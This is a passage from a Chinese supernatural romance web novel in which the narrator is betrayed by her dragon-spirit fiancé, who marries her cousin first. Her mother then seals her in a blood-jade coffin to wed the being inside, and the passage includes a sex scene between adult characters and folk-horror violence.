步伐稳慢的走近我,他语气不悦的沉沉威胁:“本尊说过,你会后悔的。” 我僵在原地,十指紧攥,指甲深深嵌进掌中血肉里,又急又恼地红着眼回头质问他: “人命攸关的事,你怎么能因为一己之私就干出这种事呢? 你觉得这样很有意思?村里人要是有个三长两短,我一定不会放过你!” 蛟仙闻言,鼻尖溢出一声轻嗤,慵懒抬起幽沉的异瞳,讥讽道: “还真把自己当龙女转世了?你如果真有水下看阴的本事,你爸当年就不会死了。” 第6章 黄河收玉女 冰冷无情的言语化作一记重锤,砸在我的心脏上—— 我失魂踉跄后退一步,只因他说的,是实话。 我如果真是黄河龙女转世,我爸为什么会死,我妈怎么会无缘无故失踪那么多年…… 这些年,我的确没有为村子做过什么好事。 反而,还给大家添了不少麻烦。 还真是,越亲近的人,越懂得刀子往哪里扎,才让我更疼。 半晌,我有了妥协的倾向,心凉半截地闷声问他:“风柔说的事,你知道吗?” 他目光阴冷地直勾勾盯我,“她昨晚没和本尊说。” 我听完这话,额角被气得突突直跳:“你都没有证实过,就故意出手让她掷出圣茭?!” “柔儿不会撒谎。” 他淡淡一句话差点噎死我,缓了缓,又补充了句: “何况,她在这么多人面前都开口了,本尊要是不帮她,村里人会说她闲话的。” 所以,他就选择不公平地让我来承受这些闲话? 我气极反笑,心底更加坚定地确认了一个真相—— 这四年的付出,我喂了狗! 要不是三年前我可怜他,执意要把他放出来,现在关不回去了,我早就给他点颜色瞧瞧了! 算了,人总要为自己犯下的错,付出代价。 等结完婚,我再想法子收拾他! 河边水腥气熏得我有点流眼泪,我忍着不适,不想再和他废话了。 打算早点回家找眼药水点点。 冷笑一声,我抬脚离开。 但不知那位蛟仙又想耍什么把戏,见我要走,又眼神褪去寒意,变得意味不明:“风萦……” 我步子一顿。 对了,还差一笔账没算。 我扭头三步并两步冲到一米八五的渣男跟前,扬手一巴掌用力甩他脸上。 将他当场甩懵。 我眼角不适地憋着就要溢出来的泪花子,咬牙记仇道: “风大年扇我的这巴掌,我还给你!就当你替风柔一家还债了!” PUA啊,谁不会啊! 他白挨了我一巴掌,回过神第一反应是想和我翻脸破口大骂的,但迎上我怨恨的目光,他怔了住。 镇水楼就建在黄河边的风口上,黄河昨晚才翻过浪,今天一早腥水气还重得很。 都给我吹得见风流泪了。 还是得早点回家用眼药水治治才好! 我没在乎他后来脸上的表情有多复杂。 只是刚出镇水楼没多久,就听风柔撞进了蛟仙的怀里,哭得梨花带雨。 “墨川哥哥你怎么了,脸怎么红了?” “对不起,是我不该多嘴惹出这些事。” “小萦肯定恨死我了。” 片刻,又听蛟仙放软声哄风柔:“不会的柔儿。” “她,没资格恨你。” 我没资格恨你妈! 好在这种恶心话我已经听习惯了。 回到家,我直奔自己房间。 从抽屉里翻出眼药水,锁上门,往床上一倒。 为了防止那个神经病再突然穿墙进我屋子,我特意在门上贴了道不许仙家靠近的黄符。 省得他进来吓我一跳。 点上眼药水,我在床上躺了两个小时才起身收拾家务,做饭。 中午,我做了份超辣的牛肉拌面。 辣椒失手放多了,害得我边吃边红着脸流泪。 为了预防我吃完上火,我还特意在饭后吞了几粒养胃、清内火的药片。 下午,旁边大伯家放了鞭炮。 不用问就知道,是大娘生了。 邻居们的上门道贺声都传到我家院子了。 隐隐约约,我还听见大伯粗着嗓门欢天喜地地吆喝着: “今晚都别走了,我风大年老来得子是大喜事,今晚杀鸡,做鸡汤面,大家都留下来沾沾喜气!” 我用两团棉花塞住耳朵,逼自己不再想关于他们的任何事。 万一,风柔说得就是真的呢? 真相是黄河娘娘报恩,总好过是河底脏东西上来索命。 脑海里不自觉又回响起蛟仙早上的那句:“你如果真有水下看阴的本事,你爸当年就不会死了。” 是啊,我如果真有异于常人的特殊能力,怎么可能,连自己的家人都护不住…… 晚上七点多,蛟仙从外面浪回来,我已经躺下休息了。 只是还没睡着。 他隔着门,语气没有之前那样生硬了,自顾自的低语: “风萦,听说,你哭了一天。” 我梦中惊坐醒:“???” “这段时间,我是对柔儿好了点,冷落了你,但风萦,你也该大度点。” “柔儿性子温和善良,内向柔弱,又从小就身体不好,她是因为你才落了病症的。” “你没必要,和她争风吃醋。” “你放心,本尊都答应会娶你了,不会食言。” “风萦,你、开门,我们聊聊……” 房间里的我,默默将头蒙进了被子里。 用棉花堵住耳孔。 几分钟后,他伸手,却被门上的符纸猛地挡开—— “风萦!你竟然一而再再而三地用符纸对付我!” 屁,我只是一而再,这才第二次,还没再而三呢。 “你以前,从不会对我用符纸!” 行,以前我白痴好了吧。 “风萦,我本来想着让你难受一整天,回来哄哄你,你就是这么对我的!” 我的确难受了一整天,中午吃太辣胃烧得慌。 “风萦,是你先不知好歹,既然你在门前贴符,那日后,就算你求本尊,本尊也不会再进你房间。” 求之不得。 他最后气得摔门离去。 明明可以直接穿墙的,偏要摔我的堂屋门。 什么臭毛病! 气走了蛟仙,我总算能睡个好觉了。 晚上喝了感冒药,困意来得格外早。 只是,夜里十二点,外面突然刮起了狂风,树枝打得屋檐窗户噼里啪啦响。 不多时,就哗哗啦啦下起了大雨。 雨声中,还隐隐夹杂着,女人似哭似嗔的娇吟声…… 像闹鬼了一般。 我被那女人的哭声给吵得睡不着,就打开房间门,拿着手电筒,壮着胆子开堂屋门,想出去听听哭声,到底是从哪传来的…… 可谁知,堂屋门刚开,我就发现自家和厨房挨在一起,空着的下屋窗户里亮着烛光! 迎面扑打在身上的雨点冰凉彻骨。 我被狂风吹得差点站不稳。 正心惊胆战地犹豫着要不要去一探究竟…… 却突然看见窗户上,晃过一条蛟龙的尾影! 我无意识地僵在堂屋檐下。 急躁雨声里夹杂着的女人哭声更清晰了—— “墨川哥哥……人家还是第一次……” “哥哥、疼,慢点……” 这声音是、风柔? 我淋着雨,按灭手里的手电筒。 僵着身子,一步一步走到下屋门前。 下屋的两扇木窗并没有合严实,我站在桃树下,视线正好能透过窗子敞开的缝隙,看见里面那令人面红耳赤的一幕幕—— 简易的靠窗木制小床上,墨发男人将娇小的姑娘压在身下。 白皙指腹,沿着姑娘的胸口寸寸往下。 握住姑娘肤如凝脂的纤细腰窝。 两人身上皆是未着寸缕。 衣裳被胡乱扔在地上。 男人怜惜地将姑娘吻得意乱情迷,一手捧起姑娘的后颈,一手捞住姑娘雪白光滑的长腿。 姑娘也配合地昂头挺胸,口吐浊息,嘤咛不断—— “墨川哥哥,柔儿、还想……” 男人一头墨发像乌亮绸子般披散在肩后,漂亮的异瞳里,欲火灼灼—— 猩红着眼尾,喘息沉下身,吻住姑娘的樱唇。 “嗯……都给你。” 姑娘边沉沦其中,边颤颤担忧:“墨川哥哥,小萦知道我们这样,嗯,会生气的……” 她故意说几个字,便妩媚地娇喘上一声。 引得身上的男人更加失控了。 男人咬牙闷声回道:“乖,这种时候,不提扫兴的人。” 姑娘听话点头,懦懦又说:“墨川哥哥,我有、弟弟了,以后在家里,肯定、更不好过了……” “真羡慕小萦,村里人、嗯,都说她是龙女转世。她是、祥瑞。柔儿、却是个赔钱货……” 恨不得将姑娘揉进骨血里的男人蹙眉,醉眼迷离地心疼亲亲姑娘的嘴。 “你若是羡慕她,来日,本尊便将她身上的龙鳞扒下来,融进你体内。” “柔儿,只要你想要,本尊就为你取来,送给你……” “你想成为她,本尊便让你做、真正的龙女。” 一句话瞬间令我浑身血液冻结。 心也瞬间掉进了冰窟。 他,要拔我的龙鳞! 幼年那些痛苦恐怖的回忆突然又在脑海深处苏醒…… 拔鳞的剧痛,还犹在昨日! 哪怕时隔近十年,我还是一想到拔鳞,就克制不住地害怕到双腿颤抖,走不动路。 觉得背上,好痛…… 不行,谁都别想拔我龙鳞。 谁都别想、再伤害我! 我捂住嘴,双手无法控制地颤抖,淋着雨狼狈转身跑回堂屋。 重新插上堂屋门。 扭头看见堂屋供桌上摆着的那几尊牌位,我咬牙勉强保持冷静地低声威胁: “刚才我出门的事,你们就当做没看见,不然我就不放血供养你们了!” 回应我的,只有窗外的风雨呼啸声。 但我知道,它们都听见了。 就算它们不回应,也会乖乖听话。 因为这四年,它们都是靠着我每隔三天一盏血酒续命的。 只要我停止供养它们,它们就会立刻灰飞烟灭! 大雨是在清晨六点停歇的。 而这一夜,我都没能睡着。 早晨六点半,外面的天刚亮,我就急着给住在姥姥家的妈打电话。 妈还和往常一样,等候音响三声就接。 只是今天妈接电话时,嗓子有几分喑哑。 我听见妈那淡淡的一声‘喂’后就立马委屈地和妈诉苦: “妈,我能换个仙家吗?我不想嫁给蛟仙了,妈……” 这还是我第一次和妈提出不嫁给蛟仙了。 对面的妈妈沉默一阵,语气冰冷压抑:“后天就是二月二了,你再忍忍。” “从你选择他的那一刻开始,你就无法再更换了。” “你花了四年时间,耗损那么多精血,才与他建立因果缘分,将他养得有足够力量保护你。” “从头再来,谈何容易。” “风萦,自己的选择,自己承担后果。” “蛟仙本就不是一种专情的动物,别任性,活命要紧。” 是啊,后天就是我的二十二岁生日了。 早就换不成了。 挂断妈的电话后,我迷茫地坐在床上,看着外面的稀薄天光,只能努力说服自己妥协。 对,活命要紧。 没有什么比活命更重要。 蛟仙就是吃准了我怕死,需要他续命这一点,才敢这么欺负我! 当务之急是先把婚礼办完再说。 婚后他要是真敢剥我龙鳞,我不介意手刃亲夫! 蛟仙和风柔有过亲密接触后,与风柔待在一起的时间更久了。 一整天都不见他回来。 我盯着家里日历上的日期,星期五旁边的那行小红字正月三十…… 还差,一天。 忍! 本以为我的妥协能让这剩下两天过得安生些。 谁知正月三十当晚,村里除了我,所有人都做了一个相同的梦。 梦里是那具女尸阴笑着告诉村民们,黄河龙宫要收玉女侍奉黄河龙王。 她赐给了槐荫村十五个男童,要拿村里所有未婚女孩的命来换! 要村里人在二月初五傍晚,将村里没结婚的女孩都送到黄河边。 届时会有水里的东西来接。 如果不给,黄河龙王发怒,就会淹了整个槐荫村。 于是二月初一一早,村里的老人家们就聚在黄河边上谈论这个怪梦。 谈着谈着才发现,原来村里所有人都做了这个梦! 更吓人的是,义庄里的女尸不见了…… 昨晚和女尸过夜的男人们今早都是在黄河边醒来的! 我还是出门拔菜被村里几个爱八卦的婶子们拽去问夜里有没有做怪梦时,才得知这个消息的。 村长为了稳住人心,只好坐在镇水楼打了一上午杨道长的电话。 只幸好,中午十二点,杨道长的电话终于打通了,电话那头的杨道长说,会尽快赶回槐荫村处理这事。 村长刚和村民们转达完杨道长的意思,将村里人浮躁不安的情绪安抚好。 十二点半,黄河水面上又突然飘起大片翻白肚的死鱼。 站在镇水楼门口往黄河上看,正好在槐荫村这片水域组成了一个大大的‘死’字。 刚冷静下来的村民们又炸开了锅。 “是真的!那个女尸不是什么黄河娘娘,是来找我们索命的啊!” “黄河要收玉女,我家闺女才十六岁,还没嫁人呢!” “完啦,我家只有两个女儿,把她们送给黄河,岂不是要我的老命吗?” 村里人心惶惶,镇水楼中怨声载道。 后来不晓得是哪个聪明人插了一嘴: “黄河龙宫要的是没结婚的童女,还有四天,那我们在这四天内,把孩子们都给嫁了,不就不用送她们去死了吗!” 一石激起千层浪。 于是邻居们马不停蹄地赶回家,纷纷张罗着要把自家闺女嫁出去。 黄河要未婚的女孩。 风柔也没结婚! 而就在我犹豫着要不要去看看风柔时,蛟仙突然回来了。 再和我相见,他沉着脸,目光晦黯,面无表情却不敢与我对视: “柔儿害怕的厉害,一直在哭。” 第7章 先娶姐姐,再娶妹妹 我没回应他。 他昂头深深看了我一眼,喉结微耸:“你就没有什么想说的吗?” 我猛吸一口气,鼻尖溢出一声极浅的嗤笑。 我能有什么好说的? 该夸我那位好堂姐魅力四射,连妹妹的未婚夫都能勾上床。 还是该夸他蛟仙大人算盘打得好,都已经替风柔记挂上我的龙鳞了? “村长已经通知过杨道长了,杨道长的本事你见识过,只要他回来……” 没等我说完,蛟仙就急躁开口:“可柔儿等不了了!” 我愣愣直视他那双眸光幽冷的异瞳,一种不祥的预感油然而生,压下心底的不安试探问道:“那你想怎样!” 难不成还想让我替风柔去死? 蛟仙避开我的滚烫视线,装作云清风淡:“风萦,我打算,先和她办婚礼,她不能死。” 没有感情的言语一字一句像一块块冰疙瘩似的狠狠砸在我心尖。 震得我心室剧颤! “你要和风柔结婚,那我呢?” 我努力压制住心底的怒火,强装镇定地放沉嗓音,试图唤醒他的良知:“是我把你从牌位里放出来的,喂了你四年精血。” 他明知道,只差一天我就能顺利渡过死劫了。 蛟仙目光飘忽的心虚别过头: “风萦,本尊没说不娶你。你别一天到晚这副小肚鸡肠斤斤计较的模样,本尊看着,烦!” 我只觉好笑, “烦?江墨川,你可是我选的未婚夫,现在你说你要娶我堂姐? 婚期将近妹夫和大姨子混在一起……你嫌我小肚鸡肠,我看你才是忘恩负义!” “本尊知道你和本尊结婚,是为了借本尊的寿续命。 本尊也和你承诺过,本尊会信守誓言娶你。但你不要太贪得无厌。” 蛟仙攥紧掩在袖下的双手,低垂着阴沉眼眸说得理直气壮: “柔儿胆小,何况她还是你姐姐,那只怪物的修为在我之上,我不能拿柔儿的性命去赌。 现在,只有我娶了她,才能让她安心……” 说着,蛟仙又厚颜无耻搬出了之前常用的道德绑架话术: “风萦,你欠下柔儿那么多,本尊这样做也是在为你还债,积阴德。” 我听完顿时被气笑出声,红着眼质问他: “究竟是在为我还债,还是你早就喜欢上了风柔,却还自私自利地拖着我不肯放手? 你是害怕再被封印里牌位里,所以从前才不敢表露出对风柔的喜欢,对么?” 蛟仙被我揭穿真面目,眼底一时寒光乍现,死鸭子嘴硬地高高在上斥责我:“风萦……你不要无理取闹!” 迎上我灼热的视线,蛟仙捏紧五指,寒着脸一如既往地自以为是: “等我先和柔儿办完婚礼,我再来娶你。你放心,你命这么硬,死不了! 明天晚上,我会准时来和你拜堂成婚、洞房花烛,你也不必介意柔儿,你和柔儿虽然同一天嫁给我,可新婚夜,我会来陪你。 风萦,我对你已经够仁至义尽了,你莫要不识好歹。” 这话听得我不由心火更旺了,新婚夜来陪我,他以为我不知道他和风柔已经滚在了一起了吗。 我冷笑两声,毅然对上他的双眼讥讽道:“你是什么干净东西吗?我还要因为能和你睡在一张床上而感激涕零?” 蛟仙脸一青,下意识加重语气:“风萦!” 我咬牙吞下喉间酸涩质问: “你娶了风柔,一旦拜了堂,你们就算是正式夫妻了,我就借不成你的寿了!这些事,你难道不比我更清楚吗?” 蛟仙蹙眉,沉沉说: “本尊受了你四年精血滋养,与你已经产生了极强的因果关联。 就算你在柔儿之后嫁给本尊,只要本尊愿意,你仍旧可以借本尊的寿。” 好一个只要他愿意! 如果明天他老老实实和我拜堂成婚,他的寿数就会被上苍强行分给我一部分。 可如果明天他先娶了风柔再和我拜堂,就变成了只有他给我阳寿,我才能活命。 借他寿数这件事,他直接就从被动的位置上,拥有了自主选择的权利。 妈说得对,蛟类狡猾善变,头脑灵活,玩手段用心计我根本不可能是这些仙家的对手。 怕我不同意,他还特意一本正经地补了句: “我们拜堂的吉时在晚上,明天中午我会解决完柔儿那边的事,晚上我准时来和你拜堂。” 准时?每次遇见风柔的事,他什么时候准时过。 我这次,不信他的鬼话了! 一把薅住他的胳膊,我窝火道: “你是我挑中的仙家丈夫,我好吃好喝供了你四年,你现在却要过河拆桥? 江墨川,我不是傻子,我只想活命,至于别的,我可以不管。明天,你只能娶我!” 是啊,自己的选择,自己要承担后果。 他喜欢风柔也好,要扒我的龙鳞给风柔也好,我现在都管不了了,当务之急是要先结婚。 今天放走他,明天,我会死! 蛟仙脸色难看的垂下寒眸盯着我抓他胳膊那只手:“风萦,你拦不住我的。” 我正打算掏出妈给的黄符先收了他,岂料他竟先我一步朝我吹了口毒雾—— 鼻腔猝不及防吸进一股异香,刚夹住符纸的指尖从口袋里滑了出来,我眼前一黑,下一秒就失去意识,浑身一软倒了下去。 人没摔地上,被一个腥寒怀抱接了住。 “风萦,你究竟什么时候,才能学会懂事呢…… 本尊,又不是不要你。” —— 次日清醒,我匆忙从自己屋内的床上爬起来。 窗外天灰蒙蒙的,大有暴风雨将至之势。 拿起床头手机一看,屏幕上的时间瞬间令我四肢八骸窜满寒意—— 中午十二点整! 蛟仙竟然让我一觉睡到了二月初二的中午十二点…… 他是故意的。 我双手发抖地把手机揣回口袋里,猛吞了口寒气,六神无主的跑出房间。 堂屋的九副牌位有八副都立在条案上咣当晃个不停! 我大脑一片空白的没披外衣就往大伯家快步赶去。 好巧不巧,刚跑到大伯家门口,我就看见一身红袍的蛟仙与身穿大红古代嫁衣的风柔刚拜完第三拜…… 蛟仙牵着风柔的手,与风柔一起直起脊背。 大伯与大娘亢奋的老脸笑出褶子,一人往蛟仙的手腕上系了条红绳。 意为认了蛟仙这个女婿。 我愣愣地站在大伯家院门外,只觉得一股彻骨的寒意从脚底板沿着双腿,窜上了脊梁骨抵上了头皮—— 他还是选择了娶风柔。 蛟仙深情款款牵着风柔进屋时,余光恰好瞟见了我,但却没有片刻的停留。 只当做没看见,继续拉着风柔进新房…… 我怒火攻心的冲动迈上前一步,却被一道雷光结界给挡了回来。 雷电猝不及防劈进我的身体,电得我浑身陡然剧痛,一个踉跄差点倒地。 电光灼伤我半条手臂,鼻腔猛得涌上一股烧痛。 下一秒,滚烫的鲜血溢出鼻尖。 吧嗒吧嗒砸落在了我被雷火灼黑的手背上。 为了阻拦我破坏他的好事,他竟不惜用雷光结界劈我…… 我忍痛咽了口口水,只觉得,多年的心血付之一炬,多年的努力毁于一旦。 蛟仙是存心让我亲眼看见他和风柔拜堂的。 他就是要告诉我,他想娶风柔,我拦不住…… 告诉我,我的命注定要被他捏在手里。 他在逼我向他低头。 也许,命中注定,我会活不过今晚子时,见不到明天的太阳。 可我拿血养了他四年啊,我尽心照顾了他四年,他怎么能…… 这么没心没肺! 我抬袖抹了把鼻头黏糊的血液,不能往前,那就只能回头了。 不知不觉一个人走到了黄河边。 我环顾四周确认附近没人后,才敢没出息地在黄河边蹲下,抱着自己窝囊地哭出声。 我不想死,我还想活! 可现在,已经没办法换仙家了。 我都能预见今晚他不会出现,我暴毙在家里的那一幕…… 四年啊,早知我左右都是个死,我干嘛还要多放这四年的血! 蛟仙说我欠风柔的,可当年不是我把风柔赶去牛屋住的,也不是我不给风柔看病,逼着风柔在寒冬腊月给她一家洗衣服的! 我的一生,又何尝不是被风大年夫妇给毁了。 风卷起黄河浊浪一重陡过一重,我蹲在河边悔得肝肠寸断,边抹着眼泪边掏出手机给妈打电话。 可连打了五个都无人接听。 一时间刺骨的孤寂感从四面八方吞噬而来,我拿着不断传出‘你所拨打的电话无人接听’的手机,哭得更厉害了。 什么黄河龙女转世,都是假的。 谁家龙女转世活得像我这么窝囊! 我孤身一人蹲在岸边仗着黄河风大,嚎得撕心裂肺。 反正,没人听见。 哭了半个多小时,直到双眼哭得肿胀,眼角挤不出泪了,我才生无可恋地回到自己家。 看着家里熟悉的一切,我心情更是复杂了。 原来能预知自己的死期,也是一件痛苦至极的事。 时间一分一秒流逝,我知道自己还能留在阳世的时辰不多了。 临死前,我打了盆水,把家里的桌椅板凳都擦了一遍。 堂屋摆着的那几副牌位安静得出奇。 最后再将那几副牌位也擦拭干净。 给它们面前各供上一杯血酒。 我肿着双眼哽咽道: “今天供给你们的这杯酒,掺了半杯我的血,再多,我会晕,不知道能不能帮上你们。 要是我没熬过今晚,希望这半杯血能给你们多延续几天寿元。 我会给我妈留个信,让她在我死后,把你们送去杨道长家。” 低下头,我拿起三炷香用打火机点燃: “我知道你们讨厌我,你们想要自由,抱歉,我给不了你们自由。 我只是个普通人,当初从你们中选夫,我只能选一个。 咱们虽然同住一个屋檐下这么多年,可彼此都不了解,你们拒绝和我交流,恨我当年没选你们,放你们出来,我能理解你们。 但也请你们理解我,无论我当年选哪一个,都会引起剩下八个的不满。 这本就是个死局,没法解。 所以这些年,你们给我摆臭脸子,我只当做看不见,也懒得解释。 可说实话,我已经不止一次想把你们扔地上踩两脚了。” 将三炷香插在香炉里,我冷静下来,喃喃道: “我已经没有活路了……但你们还有。 与死亡相比,失去自由又算什么,至少你们还有人供奉。” 我以为我已经哭干泪了,可再抬手,却还是摸到了满脸冰凉。 呜,我不想死。 我还有妈妈要陪伴,虽然她可能并不需要我陪…… 条案上的八副牌位许是得知我要死了,太过兴奋,这会子再次哐哐当当摇晃了起来。 我以为,我今晚等不到妈了…… 可日暮时分,我伏案写着遗书,刚写了个开头。 院门就被一股怪风吹了开。 我听见动静扭头往院子里看,却陡然发现妈已经不知道什么时候出现在了我身后! “妈。” 我的目光落在那张熟悉的冷艳容颜上,依恋感与委屈害怕顷刻充斥满整个胸腔。 站起身就往妈怀里扑了去,可怜兮兮地趴在妈肩头小声啜泣。 妈下意识抬起的手臂犹豫了下,慢半拍落在我背上。 安静地纵容我抱着她发泄委屈,两三分钟后,开口说: “嫁衣我给你带来了,现在就去换上,不然时辰来不及了。” 嫁衣…… 我伏在妈肩头哇一声又哭出来:“那只蛟仙已经娶了风柔,他今晚不会来了!” 吸了吸鼻涕,却在妈身上闻见了一股刺鼻的鱼腥味。 奇怪,妈一贯爱干净,以往见她,她身上都是一股淡淡的花草香…… 今天怎么满身腥味。 像是…… 刚从黄河里出来。 妈没有多说,只把肩上背着的小包袱塞我怀里,执意道:“我让你换,你就换。” 第8章 想活命,就跟着他,取悦他! 瞧见我哭红的双眼,她眼底清晰划过一丝心疼。 但面上还是肃冷没有任何表情,片刻,用力攥了下我的肩:“天塌下来,有母亲给你顶着!” 我听罢此话,心下一暖。 我妈……还是爱我的。 我按照妈的吩咐,进里屋把她送来的那身红嫁衣给换了上。 换好后,我站在镜子前,张开双臂惊愕地打量镜中女孩身上这袭红艳似血的古代广袖束腰华丽嫁衣—— 嫁衣的红,比花店里的红玫瑰花瓣还要艳上三分。 袖摆与裙子上是翠色丝线绣出的龙鳞纹与赤金丝线绣出的并蒂花纹。 衣摆拂动间,青翠龙鳞纹似水波粼粼,流光溢彩。 并蒂双花盛放在衣裙上,栩栩如生。 两只袖子上皆用金线密绣了展翅翱翔的金凤,暗金交领衣襟上,是妈亲手一针一线绣出的双喜纹。 这哪里是普通人的婚服,简直是古代娘娘的喜袍! 嫁衣是按照我的身形量身裁制的,穿上很合体。 但一想到这么好看的嫁衣穿在我身上,我却还不知道能嫁给谁…… 就觉得我白废了这么美的一身衣裳。 勒好镶了红玉石的束腰,我披散着一头乌发,过去打开房门。 妈看我收拾好了嫁衣,进来给我上妆梳头。 给我画了个精致的古代妆容后,妈又不知从哪里弄出一顶纯金凤冠。 凤冠被发卡牢牢卡在我的发髻上,垂下一道珍珠红玉石面帘。 珠玉面帘在我眼前摇晃碰撞,叮叮当当。 我觉得脑袋重,伸手扶了把,看着镜子里忙着给我簪花的母亲身影,犹豫说: “妈,蛟仙今晚不太可能会回来……而且,我不想为了苟且偷生把小命放在别人手中让别人掌控。” 余生让我为了活命看蛟仙脸色求着蛟仙分点阳寿给我,岂不是生不如死。 而且以蛟仙的性子,今晚有九成可能,他还会放我鸽子。 他本来就没把我的命当回事! 妈只一味给我簪花,没搭我的话。 最后一朵红色绒花别进我的头发里,窗外忽然响起了一道惊雷。 紧接着就是暴雨忽至,狂风猛掀。 瓢泼大雨噼里啪啦打在窗台上,聒噪雨声听得我一阵心神不宁,惶恐不安。 外面的天已经沉下来了,桌角的一支红色喜烛倏然自己点燃了。 不知道为什么,我胸膛内的这颗心忽猛跳不止。 胸口像被一颗巨石压着,愈发喘不过气。 妈抬手夹起一张红底符纸,用烛火引燃符纸一角。 我清楚地看见,火光吞上符纸的那一刻,符纸上神秘的符文全都亮起了金光—— 妈夹着燃烧的符纸,一边闭着眼嘴里念念有词,一边拿符纸绕着我身体打圈。 等符纸烧得仅剩三分之一,妈忽然一把将还没熄火的符纸按进了我嘴里! 我心跳猛漏了一拍,被吓得头皮发麻! 但想象中的灼烧感并没有出现,那符纸被按进我口中,像是化成了一缕风,钻进了我的喉头。 除了让我喉咙有点痒,没为我带来任何不适。 妈这是准备干正事了? 紧要关头我一把抓住妈的胳膊,抱着一丝希望颤颤祈求:“妈,我能不能不嫁蛟仙?” 不嫁他,我会死。 可是嫁给他,他会让我余生都生不如死! 妈深深瞧了我一眼,无情地把我攥在她胳膊上那五根手指一根根掰开,冰冷开口:“风萦,你已经没有选择了。” 我哽住,来不及难过,却听见外面有村民焦急大喊:“不好了,黄河卷浪了!” “快去喊村长!黄河里,冲上东西了!” 黄河冲上东西? 我脑子还没反应过来怎么回事,手就被妈用力抓住,“走,去黄河边!” 我糊里糊涂就被妈拽出了屋子,跑进了哗哗大雨里。 出院门的时候,我扭头往后看了眼。 正见到堂屋牌位上方飘出各位仙家的本体轮廓…… 他们的轮廓上泛着雾蒙蒙的白光,看着毫无真实感。 像幻觉。 说来也奇怪,我被妈拽着在大雨中跑一路,衣服竟然一点也没湿! 离黄河越近,大雨中的潮腥味就越重—— 且昏暗的天色里,还隐隐飘浮着点点紫光。 像萤火虫一样,在雨中忽明忽灭。 跑着跑着,耳边突然一丝环境声都听不见了…… 像是进入了一个密封的空间,明明雨还在下,雨滴还能溅在我被雷火烧上的手背上。 要不是我还能听见妈拉着我奔跑的喘息声与凤冠下红玉面帘的叮当碰撞声,我都要怀疑我是不是听力出问题了! 好在这种情况只持续了不到十分钟,快要到黄河边上时,雨中起了蒙蒙黄雾。 黄雾浓得伸手不见五指,我害怕和妈走散,只能拼命抓紧妈的手指。 再往雾深处走,我总算又听见了雨声与若有若无的中年人议论声。 人声渐离渐近,慢慢变得清晰起来—— “我的老天爷啊,这是副玉棺啊!” “看这玉棺的形制,里面躺着的人,肯定非富即贵,说不准还是皇室。” “我瞧着也像,要真是皇家人,棺里的陪葬品绝对价值连城!” “先不说陪葬品了,就是这副棺材,咱们给它砸开卖了也能卖不少钱。” “村长,要不然咱们把棺抬上去,挑个吉时,给它撬了?” “眼下这个节骨眼你还敢捞黄河里的东西啊?你忘记那具古代女尸了?!” “老吴说得对啊,万一又是黄河龙王送上来找咱们换什么的,上次是换玉女,这次指不定又要换童男……那咱们槐荫村还有活路吗?” “等雨停了,老吴你找几个人,咱们一起来河边把这副棺材推下去!我总觉得,这棺来路不对。” 是江叔他们的声音! 可,诡异的是,我和妈跑到河滩边,却没有见到江叔他们。 只见到一副血玉棺搁置在浅水滩上,血红棺身,琉璃棺盖。 棺底部约莫十公分的高度还浸泡在浑浊的黄河水里。 河边的这副血玉棺与我以往见到的棺材外形并不一样。 棺身也是四四方方的,一头高,一头矮。 但比现代的棺材宽,挤挤应该能睡两个人。 差别显著的是棺盖,血玉棺的棺盖更像古代宫殿的屋顶,五脊四角,四檐飞翘。 上面还雕刻着类似于瓦片、鳞次栉比层层叠叠的龙鳞纹路。 飞檐下坠着四枚血玉铃铛…… 不过,这铃铛样式我在镇水楼内收藏的古籍上看过! 书上说,这是镇棺铃! 凡棺角悬挂镇棺铃的棺材,里面封印的都是犯了天条遭了天谴的坏东西。 棺材上挂着的镇棺铃越多,证明棺里的东西力量越强大! 棺上悬挂一枚镇棺铃已经是大凶之物了,何况这副玉棺上,挂了四枚。 我害怕地往后退了两步,精神紧绷,心跳加速。 “妈,这棺不对劲,我们还是……” ‘回家吧’三个字还没来得及说出口,我妈就抓着我的手,往玉棺的棺盖上一按! 我吓得尖叫一声,掌心按着棺盖,重心不稳的整个身子都往棺上压了去—— 而棺盖,也在我压上去的那一瞬,轻松就被我推开了! 棺内寒气顿时扑面袭来,我没机会看清棺里的东西是什么,后背就被我妈用力一推…… 下一秒,我一头摔进了玉棺中! 坠进了一片腥寒内—— 被我推开的棺盖也迅速轰然关闭,严丝合缝地封上。 我摔躺在棺里,后背不知什么东西硌得我脊骨疼,面上的雨水还没干,脑子空白了几秒。 等我反应过来发生了什么事后,再拼命去推棺盖,已经推不动了。 棺盖像是被什么机关卡死了! 脑子里‘轰’的一声,全乱了。 “妈!妈!救我,你干嘛推我啊妈,放我出去,放我出去!” 我害怕地拖着哭腔,声音发抖地疯狂拍打着棺盖着急祈求。 棺外的妈听见我的话,冷静隔着棺材板和我说话: “小萦,今天就是二月二,你二十二岁生日,再不出嫁借寿,你会暴毙而亡。” “你不想嫁给蛟仙,就只能另嫁其他仙家。” “我提前查探过,这副玉棺里的东西身上没有妖气,你跟着他,比跟着蛟仙更好。” “小萦,想活命,就听话、取悦他……” “不然,你我都得死。” 想活命就要取悦他,不然我和妈都要死…… 是啊,这可是四枚镇棺铃才镇得住的凶物! 我找他借寿,和在刀尖上蹦迪有什么区别?! 仗着他被封印借他的寿,已经很冒犯他了。 要是还让他不开心…… 说不准不等我借寿成功,我的小命就已经折在他手里了! 都这个时辰了,蛟仙是指望不上了,何况,他已经和风柔结婚了。 就算他能按时来找我拜天地,我也不愿意余生都得过仰人鼻息的日子。 再说,蛟仙是个忘恩负义没心没肺翻脸不是人的东西,一旦借不借寿的选择权掌控在他手里,我就算活得过今年二月二,也活不过明年二月二! 现在摆在眼前的,只有两个选择。 要么死,要么,借这棺里东西的寿。 我还不想死…… 只要,我现在和这棺里的东西做夫妻…… 他的寿,就会被我强行借走。 唯一的风险,是需要承担他事后的怒火。 我气喘吁吁地躺在漆黑阴冷的棺材里,额角汗如雨下。 脑子里很乱。 但,我清楚,时辰已经到了,我不能再犹豫了! 算了,先走一步算一步吧! 先把小命保住,未来的事,未来再说。 我躺在冰冷的玉棺内,心下一横闭紧双眼,头皮发麻地咬牙怯怯朝身边伸出手…… 哆嗦着怯怯问棺外的母亲:“妈……一定要、睡了才能成吗?” 棺材边上的母亲无奈反问:“不然呢?” 我啜泣声更大了。 “万一……他不是人,咋整啊!” 万一,和江墨川胡玉衡他们一样,是动物原形,我难不成还要和动物…… 想到这,我难以接受的窝囊哼哼哭。 棺边的母亲这次沉默了很久。 她不理我,我只能硬着头皮、先试试了…… 至少要先确认棺里这东西,是人是动物。 手碰到一截硬邦邦的东西。 我握住,指腹在硬物上轻轻摩挲,认真感受…… 像,骨头? 